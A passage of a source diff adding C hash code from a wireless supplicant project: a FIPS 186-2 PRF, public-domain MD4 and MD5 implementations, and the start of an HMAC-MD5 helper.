* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <openssl/sha.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
static void sha1_transform(u8 *state, const u8 data[64])
|
||||
{
|
||||
SHA_CTX context;
|
||||
os_memset(&context, 0, sizeof(context));
|
||||
os_memcpy(&context.h0, state, 5 * 4);
|
||||
SHA1_Transform(&context, data);
|
||||
os_memcpy(state, &context.h0, 5 * 4);
|
||||
}
|
||||
|
||||
|
||||
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
|
||||
{
|
||||
u8 xkey[64];
|
||||
u32 t[5], _t[5];
|
||||
int i, j, m, k;
|
||||
u8 *xpos = x;
|
||||
u32 carry;
|
||||
|
||||
if (seed_len > sizeof(xkey))
|
||||
seed_len = sizeof(xkey);
|
||||
|
||||
/* FIPS 186-2 + change notice 1 */
|
||||
|
||||
os_memcpy(xkey, seed, seed_len);
|
||||
os_memset(xkey + seed_len, 0, 64 - seed_len);
|
||||
t[0] = 0x67452301;
|
||||
t[1] = 0xEFCDAB89;
|
||||
t[2] = 0x98BADCFE;
|
||||
t[3] = 0x10325476;
|
||||
t[4] = 0xC3D2E1F0;
|
||||
|
||||
m = xlen / 40;
|
||||
for (j = 0; j < m; j++) {
|
||||
/* XSEED_j = 0 */
|
||||
for (i = 0; i < 2; i++) {
|
||||
/* XVAL = (XKEY + XSEED_j) mod 2^b */
|
||||
|
||||
/* w_i = G(t, XVAL) */
|
||||
os_memcpy(_t, t, 20);
|
||||
sha1_transform((u8 *) _t, xkey);
|
||||
_t[0] = host_to_be32(_t[0]);
|
||||
_t[1] = host_to_be32(_t[1]);
|
||||
_t[2] = host_to_be32(_t[2]);
|
||||
_t[3] = host_to_be32(_t[3]);
|
||||
_t[4] = host_to_be32(_t[4]);
|
||||
os_memcpy(xpos, _t, 20);
|
||||
|
||||
/* XKEY = (1 + XKEY + w_i) mod 2^b */
|
||||
carry = 1;
|
||||
for (k = 19; k >= 0; k--) {
|
||||
carry += xkey[k] + xpos[k];
|
||||
xkey[k] = carry & 0xff;
|
||||
carry >>= 8;
|
||||
}
|
||||
|
||||
xpos += 20;
|
||||
}
|
||||
/* x_j = w_0|w_1 */
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,278 @@
|
|||
/*
|
||||
* MD4 hash implementation
|
||||
* Copyright (c) 2006, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
#define MD4_BLOCK_LENGTH 64
|
||||
#define MD4_DIGEST_LENGTH 16
|
||||
|
||||
typedef struct MD4Context {
|
||||
u32 state[4]; /* state */
|
||||
u64 count; /* number of bits, mod 2^64 */
|
||||
u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */
|
||||
} MD4_CTX;
|
||||
|
||||
|
||||
static void MD4Init(MD4_CTX *ctx);
|
||||
static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len);
|
||||
static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx);
|
||||
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
MD4_CTX ctx;
|
||||
size_t i;
|
||||
|
||||
MD4Init(&ctx);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
MD4Update(&ctx, addr[i], len[i]);
|
||||
MD4Final(mac, &ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* ===== start - public domain MD4 implementation ===== */
|
||||
/* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */
|
||||
|
||||
/*
|
||||
* This code implements the MD4 message-digest algorithm.
|
||||
* The algorithm is due to Ron Rivest. This code was
|
||||
* written by Colin Plumb in 1993, no copyright is claimed.
|
||||
* This code is in the public domain; do with it what you wish.
|
||||
* Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186.
|
||||
*
|
||||
* Equivalent code is available from RSA Data Security, Inc.
|
||||
* This code has been tested against that, and is equivalent,
|
||||
* except that you don't need to include two pages of legalese
|
||||
* with every copy.
|
||||
*
|
||||
* To compute the message digest of a chunk of bytes, declare an
|
||||
* MD4Context structure, pass it to MD4Init, call MD4Update as
|
||||
* needed on buffers full of bytes, and then call MD4Final, which
|
||||
* will fill a supplied 16-byte array with the digest.
|
||||
*/
|
||||
|
||||
#define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1)
|
||||
|
||||
|
||||
static void
|
||||
MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]);
|
||||
|
||||
#define PUT_64BIT_LE(cp, value) do { \
|
||||
(cp)[7] = (value) >> 56; \
|
||||
(cp)[6] = (value) >> 48; \
|
||||
(cp)[5] = (value) >> 40; \
|
||||
(cp)[4] = (value) >> 32; \
|
||||
(cp)[3] = (value) >> 24; \
|
||||
(cp)[2] = (value) >> 16; \
|
||||
(cp)[1] = (value) >> 8; \
|
||||
(cp)[0] = (value); } while (0)
|
||||
|
||||
#define PUT_32BIT_LE(cp, value) do { \
|
||||
(cp)[3] = (value) >> 24; \
|
||||
(cp)[2] = (value) >> 16; \
|
||||
(cp)[1] = (value) >> 8; \
|
||||
(cp)[0] = (value); } while (0)
|
||||
|
||||
static u8 PADDING[MD4_BLOCK_LENGTH] = {
|
||||
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
/*
|
||||
* Start MD4 accumulation.
|
||||
* Set bit count to 0 and buffer to mysterious initialization constants.
|
||||
*/
|
||||
static void MD4Init(MD4_CTX *ctx)
|
||||
{
|
||||
ctx->count = 0;
|
||||
ctx->state[0] = 0x67452301;
|
||||
ctx->state[1] = 0xefcdab89;
|
||||
ctx->state[2] = 0x98badcfe;
|
||||
ctx->state[3] = 0x10325476;
|
||||
}
|
||||
|
||||
/*
|
||||
* Update context to reflect the concatenation of another buffer full
|
||||
* of bytes.
|
||||
*/
|
||||
static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len)
|
||||
{
|
||||
size_t have, need;
|
||||
|
||||
/* Check how many bytes we already have and how many more we need. */
|
||||
have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1));
|
||||
need = MD4_BLOCK_LENGTH - have;
|
||||
|
||||
/* Update bitcount */
|
||||
ctx->count += (u64)len << 3;
|
||||
|
||||
if (len >= need) {
|
||||
if (have != 0) {
|
||||
os_memcpy(ctx->buffer + have, input, need);
|
||||
MD4Transform(ctx->state, ctx->buffer);
|
||||
input += need;
|
||||
len -= need;
|
||||
have = 0;
|
||||
}
|
||||
|
||||
/* Process data in MD4_BLOCK_LENGTH-byte chunks. */
|
||||
while (len >= MD4_BLOCK_LENGTH) {
|
||||
MD4Transform(ctx->state, input);
|
||||
input += MD4_BLOCK_LENGTH;
|
||||
len -= MD4_BLOCK_LENGTH;
|
||||
}
|
||||
}
|
||||
|
||||
/* Handle any remaining bytes of data. */
|
||||
if (len != 0)
|
||||
os_memcpy(ctx->buffer + have, input, len);
|
||||
}
|
||||
|
||||
/*
|
||||
* Pad pad to 64-byte boundary with the bit pattern
|
||||
* 1 0* (64-bit count of bits processed, MSB-first)
|
||||
*/
|
||||
static void MD4Pad(MD4_CTX *ctx)
|
||||
{
|
||||
u8 count[8];
|
||||
size_t padlen;
|
||||
|
||||
/* Convert count to 8 bytes in little endian order. */
|
||||
PUT_64BIT_LE(count, ctx->count);
|
||||
|
||||
/* Pad out to 56 mod 64. */
|
||||
padlen = MD4_BLOCK_LENGTH -
|
||||
((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1));
|
||||
if (padlen < 1 + 8)
|
||||
padlen += MD4_BLOCK_LENGTH;
|
||||
MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */
|
||||
MD4Update(ctx, count, 8);
|
||||
}
|
||||
|
||||
/*
|
||||
* Final wrapup--call MD4Pad, fill in digest and zero out ctx.
|
||||
*/
|
||||
static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx)
|
||||
{
|
||||
int i;
|
||||
|
||||
MD4Pad(ctx);
|
||||
if (digest != NULL) {
|
||||
for (i = 0; i < 4; i++)
|
||||
PUT_32BIT_LE(digest + i * 4, ctx->state[i]);
|
||||
os_memset(ctx, 0, sizeof(*ctx));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* The three core functions - F1 is optimized somewhat */
|
||||
|
||||
/* #define F1(x, y, z) (x & y | ~x & z) */
|
||||
#define F1(x, y, z) (z ^ (x & (y ^ z)))
|
||||
#define F2(x, y, z) ((x & y) | (x & z) | (y & z))
|
||||
#define F3(x, y, z) (x ^ y ^ z)
|
||||
|
||||
/* This is the central step in the MD4 algorithm. */
|
||||
#define MD4STEP(f, w, x, y, z, data, s) \
|
||||
( w += f(x, y, z) + data, w = w<<s | w>>(32-s) )
|
||||
|
||||
/*
|
||||
* The core of the MD4 algorithm, this alters an existing MD4 hash to
|
||||
* reflect the addition of 16 longwords of new data. MD4Update blocks
|
||||
* the data and converts bytes into longwords for this routine.
|
||||
*/
|
||||
static void
|
||||
MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH])
|
||||
{
|
||||
u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4];
|
||||
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
os_memcpy(in, block, sizeof(in));
|
||||
#else
|
||||
for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) {
|
||||
in[a] = (u32)(
|
||||
(u32)(block[a * 4 + 0]) |
|
||||
(u32)(block[a * 4 + 1]) << 8 |
|
||||
(u32)(block[a * 4 + 2]) << 16 |
|
||||
(u32)(block[a * 4 + 3]) << 24);
|
||||
}
|
||||
#endif
|
||||
|
||||
a = state[0];
|
||||
b = state[1];
|
||||
c = state[2];
|
||||
d = state[3];
|
||||
|
||||
MD4STEP(F1, a, b, c, d, in[ 0], 3);
|
||||
MD4STEP(F1, d, a, b, c, in[ 1], 7);
|
||||
MD4STEP(F1, c, d, a, b, in[ 2], 11);
|
||||
MD4STEP(F1, b, c, d, a, in[ 3], 19);
|
||||
MD4STEP(F1, a, b, c, d, in[ 4], 3);
|
||||
MD4STEP(F1, d, a, b, c, in[ 5], 7);
|
||||
MD4STEP(F1, c, d, a, b, in[ 6], 11);
|
||||
MD4STEP(F1, b, c, d, a, in[ 7], 19);
|
||||
MD4STEP(F1, a, b, c, d, in[ 8], 3);
|
||||
MD4STEP(F1, d, a, b, c, in[ 9], 7);
|
||||
MD4STEP(F1, c, d, a, b, in[10], 11);
|
||||
MD4STEP(F1, b, c, d, a, in[11], 19);
|
||||
MD4STEP(F1, a, b, c, d, in[12], 3);
|
||||
MD4STEP(F1, d, a, b, c, in[13], 7);
|
||||
MD4STEP(F1, c, d, a, b, in[14], 11);
|
||||
MD4STEP(F1, b, c, d, a, in[15], 19);
|
||||
|
||||
MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3);
|
||||
MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5);
|
||||
MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9);
|
||||
MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13);
|
||||
MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3);
|
||||
MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5);
|
||||
MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9);
|
||||
MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13);
|
||||
MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3);
|
||||
MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5);
|
||||
MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9);
|
||||
MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13);
|
||||
MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3);
|
||||
MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5);
|
||||
MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9);
|
||||
MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13);
|
||||
|
||||
MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3);
|
||||
MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9);
|
||||
MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11);
|
||||
MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15);
|
||||
MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3);
|
||||
MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9);
|
||||
MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11);
|
||||
MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15);
|
||||
MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3);
|
||||
MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9);
|
||||
MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11);
|
||||
MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15);
|
||||
MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3);
|
||||
MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9);
|
||||
MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11);
|
||||
MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15);
|
||||
|
||||
state[0] += a;
|
||||
state[1] += b;
|
||||
state[2] += c;
|
||||
state[3] += d;
|
||||
}
|
||||
/* ===== end - public domain MD4 implementation ===== */
|
|
@ -0,0 +1,293 @@
|
|||
/*
|
||||
* MD5 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "md5.h"
|
||||
#include "md5_i.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
static void MD5Transform(u32 buf[4], u32 const in[16]);
|
||||
|
||||
|
||||
typedef struct MD5Context MD5_CTX;
|
||||
|
||||
|
||||
/**
|
||||
* md5_vector - MD5 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*/
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
MD5_CTX ctx;
|
||||
size_t i;
|
||||
|
||||
MD5Init(&ctx);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
MD5Update(&ctx, addr[i], len[i]);
|
||||
MD5Final(mac, &ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* ===== start - public domain MD5 implementation ===== */
|
||||
/*
|
||||
* This code implements the MD5 message-digest algorithm.
|
||||
* The algorithm is due to Ron Rivest. This code was
|
||||
* written by Colin Plumb in 1993, no copyright is claimed.
|
||||
* This code is in the public domain; do with it what you wish.
|
||||
*
|
||||
* Equivalent code is available from RSA Data Security, Inc.
|
||||
* This code has been tested against that, and is equivalent,
|
||||
* except that you don't need to include two pages of legalese
|
||||
* with every copy.
|
||||
*
|
||||
* To compute the message digest of a chunk of bytes, declare an
|
||||
* MD5Context structure, pass it to MD5Init, call MD5Update as
|
||||
* needed on buffers full of bytes, and then call MD5Final, which
|
||||
* will fill a supplied 16-byte array with the digest.
|
||||
*/
|
||||
|
||||
#ifndef WORDS_BIGENDIAN
|
||||
#define byteReverse(buf, len) /* Nothing */
|
||||
#else
|
||||
/*
|
||||
* Note: this code is harmless on little-endian machines.
|
||||
*/
|
||||
static void byteReverse(unsigned char *buf, unsigned longs)
|
||||
{
|
||||
u32 t;
|
||||
do {
|
||||
t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
|
||||
((unsigned) buf[1] << 8 | buf[0]);
|
||||
*(u32 *) buf = t;
|
||||
buf += 4;
|
||||
} while (--longs);
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
|
||||
* initialization constants.
|
||||
*/
|
||||
void MD5Init(struct MD5Context *ctx)
|
||||
{
|
||||
ctx->buf[0] = 0x67452301;
|
||||
ctx->buf[1] = 0xefcdab89;
|
||||
ctx->buf[2] = 0x98badcfe;
|
||||
ctx->buf[3] = 0x10325476;
|
||||
|
||||
ctx->bits[0] = 0;
|
||||
ctx->bits[1] = 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Update context to reflect the concatenation of another buffer full
|
||||
* of bytes.
|
||||
*/
|
||||
void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len)
|
||||
{
|
||||
u32 t;
|
||||
|
||||
/* Update bitcount */
|
||||
|
||||
t = ctx->bits[0];
|
||||
if ((ctx->bits[0] = t + ((u32) len << 3)) < t)
|
||||
ctx->bits[1]++; /* Carry from low to high */
|
||||
ctx->bits[1] += len >> 29;
|
||||
|
||||
t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */
|
||||
|
||||
/* Handle any leading odd-sized chunks */
|
||||
|
||||
if (t) {
|
||||
unsigned char *p = (unsigned char *) ctx->in + t;
|
||||
|
||||
t = 64 - t;
|
||||
if (len < t) {
|
||||
os_memcpy(p, buf, len);
|
||||
return;
|
||||
}
|
||||
os_memcpy(p, buf, t);
|
||||
byteReverse(ctx->in, 16);
|
||||
MD5Transform(ctx->buf, (u32 *) ctx->in);
|
||||
buf += t;
|
||||
len -= t;
|
||||
}
|
||||
/* Process data in 64-byte chunks */
|
||||
|
||||
while (len >= 64) {
|
||||
os_memcpy(ctx->in, buf, 64);
|
||||
byteReverse(ctx->in, 16);
|
||||
MD5Transform(ctx->buf, (u32 *) ctx->in);
|
||||
buf += 64;
|
||||
len -= 64;
|
||||
}
|
||||
|
||||
/* Handle any remaining bytes of data. */
|
||||
|
||||
os_memcpy(ctx->in, buf, len);
|
||||
}
|
||||
|
||||
/*
|
||||
* Final wrapup - pad to 64-byte boundary with the bit pattern
|
||||
* 1 0* (64-bit count of bits processed, MSB-first)
|
||||
*/
|
||||
void MD5Final(unsigned char digest[16], struct MD5Context *ctx)
|
||||
{
|
||||
unsigned count;
|
||||
unsigned char *p;
|
||||
|
||||
/* Compute number of bytes mod 64 */
|
||||
count = (ctx->bits[0] >> 3) & 0x3F;
|
||||
|
||||
/* Set the first char of padding to 0x80. This is safe since there is
|
||||
always at least one byte free */
|
||||
p = ctx->in + count;
|
||||
*p++ = 0x80;
|
||||
|
||||
/* Bytes of padding needed to make 64 bytes */
|
||||
count = 64 - 1 - count;
|
||||
|
||||
/* Pad out to 56 mod 64 */
|
||||
if (count < 8) {
|
||||
/* Two lots of padding: Pad the first block to 64 bytes */
|
||||
os_memset(p, 0, count);
|
||||
byteReverse(ctx->in, 16);
|
||||
MD5Transform(ctx->buf, (u32 *) ctx->in);
|
||||
|
||||
/* Now fill the next block with 56 bytes */
|
||||
os_memset(ctx->in, 0, 56);
|
||||
} else {
|
||||
/* Pad block to 56 bytes */
|
||||
os_memset(p, 0, count - 8);
|
||||
}
|
||||
byteReverse(ctx->in, 14);
|
||||
|
||||
/* Append length in bits and transform */
|
||||
((u32 *) ctx->in)[14] = ctx->bits[0];
|
||||
((u32 *) ctx->in)[15] = ctx->bits[1];
|
||||
|
||||
MD5Transform(ctx->buf, (u32 *) ctx->in);
|
||||
byteReverse((unsigned char *) ctx->buf, 4);
|
||||
os_memcpy(digest, ctx->buf, 16);
|
||||
os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
|
||||
}
|
||||
|
||||
/* The four core functions - F1 is optimized somewhat */
|
||||
|
||||
/* #define F1(x, y, z) (x & y | ~x & z) */
|
||||
#define F1(x, y, z) (z ^ (x & (y ^ z)))
|
||||
#define F2(x, y, z) F1(z, x, y)
|
||||
#define F3(x, y, z) (x ^ y ^ z)
|
||||
#define F4(x, y, z) (y ^ (x | ~z))
|
||||
|
||||
/* This is the central step in the MD5 algorithm. */
|
||||
#define MD5STEP(f, w, x, y, z, data, s) \
|
||||
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
|
||||
|
||||
/*
|
||||
* The core of the MD5 algorithm, this alters an existing MD5 hash to
|
||||
* reflect the addition of 16 longwords of new data. MD5Update blocks
|
||||
* the data and converts bytes into longwords for this routine.
|
||||
*/
|
||||
static void MD5Transform(u32 buf[4], u32 const in[16])
|
||||
{
|
||||
register u32 a, b, c, d;
|
||||
|
||||
a = buf[0];
|
||||
b = buf[1];
|
||||
c = buf[2];
|
||||
d = buf[3];
|
||||
|
||||
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
|
||||
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
|
||||
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
|
||||
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
|
||||
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
|
||||
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
|
||||
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
|
||||
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
|
||||
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
|
||||
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
|
||||
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
|
||||
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
|
||||
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
|
||||
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
|
||||
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
|
||||
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
|
||||
|
||||
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
|
||||
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
|
||||
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
|
||||
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
|
||||
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
|
||||
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
|
||||
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
|
||||
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
|
||||
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
|
||||
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
|
||||
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
|
||||
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
|
||||
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
|
||||
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
|
||||
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
|
||||
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
|
||||
|
||||
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
|
||||
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
|
||||
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
|
||||
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
|
||||
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
|
||||
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
|
||||
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
|
||||
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
|
||||
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
|
||||
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
|
||||
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
|
||||
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
|
||||
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
|
||||
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
|
||||
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
|
||||
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
|
||||
|
||||
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
|
||||
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
|
||||
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
|
||||
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
|
||||
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
|
||||
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
|
||||
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
|
||||
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
|
||||
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
|
||||
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
|
||||
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
|
||||
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
|
||||
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
|
||||
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
|
||||
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
|
||||
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
|
||||
|
||||
buf[0] += a;
|
||||
buf[1] += b;
|
||||
buf[2] += c;
|
||||
buf[3] += d;
|
||||
}
|
||||
/* ===== end - public domain MD5 implementation ===== */
|
|
@ -0,0 +1,113 @@
|
|||
/*
|
||||
* MD5 hash implementation and interface functions (non-FIPS allowed cases)
|
||||
* Copyright (c) 2003-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "md5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* hmac_md5_vector_non_fips_allow - HMAC-MD5 over data vector (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash (16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len,
|
||||
size_t num_elem, const u8 *addr[],
|
||||
const size_t *len, u8 *mac)
|
||||
{
|
||||
u8 k_pad[64]; /* padding - key XORd with ipad/opad */
|
||||
u8 tk[16];
|
||||
const u8 *_addr[6];
|
||||
size_t i, _len[6];
|
||||
|
||||
if (num_elem > 5) {
|
||||
/*
|
||||
* Fixed limit on the number of fragments to avoid having to
|
||||
* allocate memory (which could fail).
|
||||
*/
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* if key is longer than 64 bytes reset it to key = MD5(key) */
|
||||
if (key_len > 64) {
|
||||
if (md5_vector_non_fips_allow(1, &key, &key_len, tk))
|
||||
return -1;
|
||||
key = tk;
|
||||
key_len = 16;
|
||||
}
|
||||
|
||||
/* the HMAC_MD5 transform looks like:
|
||||
*
|
||||
